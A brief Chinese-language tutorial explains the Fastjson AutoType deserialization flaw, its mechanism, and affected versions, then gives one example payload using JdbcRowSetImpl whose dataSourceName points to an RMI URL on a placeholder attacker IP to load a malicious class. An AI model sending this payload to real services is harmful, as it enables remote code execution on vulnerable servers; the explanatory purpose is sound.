fastjson漏洞
- fastjson工作原理
- 攻击原理
- 补充
- 例子
fastjson工作原理
fastjson的作用是将JAVA对象转换成对应的json表示形式,也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化,AutoType使用==@type==标记字符的原始类型,在反序列话时会读取@type以此把内容反序列化到对象,在上述过程中会调用到库中的setter和getter方法
攻击原理
攻击者传入一个恶意构造的json内容,程序对其反序列话后得到恶意类并执行了恶意类中的恶意函数,进而促使恶意代码执行
合理构造一个JSON使用@type指定一个想要攻击的类库就可以实现攻击
补充
仅影响Fastjson1.2.24及之前版本
例子
{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://攻击者的IP地址/恶意类","autoCommit": true}
- JSON 数据包:这里展示的 JSON 数据包包含一个名为 b 的对象,其中有一个 @type 字段,指定了这个对象的类型为
com.sun.rowset.JdbcRowSetImpl。这是一种 Java 对象类型。 - 恶意数据:在 dataSourceName 字段中,提供了一个远程方法调用 (RMI) 的 URL,指向攻击者的 IP
地址和他们控制的恶意类。这意味着 Fastjson 会尝试从这个远程地址加载并执行恶意类。 - 自动提交:autoCommit 字段被设置为 true,表明在反序列化后自动执行某些操作。